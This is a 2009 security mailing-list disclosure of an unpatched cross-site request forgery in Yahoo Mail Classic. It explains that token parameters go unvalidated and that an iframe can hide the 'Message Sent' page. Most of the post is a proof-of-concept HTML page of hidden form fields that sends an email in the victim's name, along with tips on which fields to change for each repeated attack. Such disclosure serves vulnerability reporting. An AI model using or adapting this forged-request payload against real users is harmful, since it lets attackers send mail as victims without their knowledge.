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Date: Wed, 23 Dec 2009 19:44:47 +0530
From: gaurav baruah <>
Subject: Yahoo Mail Classic XSRF (still unpatched)

Yahoo Mail Classic XSRF (still unpatched)

Discovered by -
Sanjay Kumar (
Gaurav Baruah (

A malicious attacker can entice a user to visit a specific URL and
then send emails on context of that user using XSRF.
Parameters - &.rand, clean&.jsrand, acrumb, mcrumb (which are most
likely tokens) are not validated during the request submission, which
causes XSRF to occur. These parameters have been removed in the
following HTML code, but the request still succeeds.

Although a “Message Sent” page is displayed after the POST request is
sent, this can be hidden by making use of an iframe to host the
specified page that was previously making the XSRF request.

Care has to be taken to change the following fields as required for
each subsequent attack, or the attack fails due to invalid data being
jsonEmails & to (both contain the recipient address)
fromAddresses & defFromAddress ( both contain the source address)

Start of PoC.html
<body><form action=""
method="post" name="yahoo">
<input type="hidden" name="cmd" value="mask">
<input type="hidden" name="fromAddresses"
<input type="hidden" name="defFromAddress" value="">
<input type="hidden" name="to" value="">
<input type="hidden" name="jsonEmails"
<input type="hidden" name="attachment" value="">
<input type="hidden" name="msgFlag" value="compose">
<input type="hidden" name="startMid" value="">
<input type="hidden" name="sMid" value="0">
<input type="hidden" name="pSize" value="">
<input type="hidden" name="nextMid" value="">
<input type="hidden" name="prevMid" value="">
<input type="hidden" name="fid" value="Inbox">
<input type="hidden" name="mid" value="">
<input type="hidden" name="oFid" value="">
<input type="hidden" name="oMid" value="">
<input type="hidden" name="sort" value="">
<input type="hidden" name="filterBy" value="">
<input type="hidden" name="order" value="">
<input type="hidden" name="msgID" value="">
<input type="hidden" name="ymcjs" value="1">
<input type="hidden" name="signatureAdded" value="1">
<input type="hidden" name="sUseRichText" value="dynamic">
<input type="hidden" name="sReplyToAddress" value="">
<input type="hidden" name="embstyle" value="">
<input type="hidden" name="st_desc" value="">
<input type="hidden" name="showBcc" value="false">
<input type="hidden" name="action_msg_send" value="Send">
<input type="hidden" name="cc" value="">
<input type="hidden" name="bcc" value="">
<input type="hidden" name="Subj" value="test">
<input type="hidden" name="togglePlainTxt" value="1">
<input type="hidden" name="Content" value="You have been XSRF-ed !!!">

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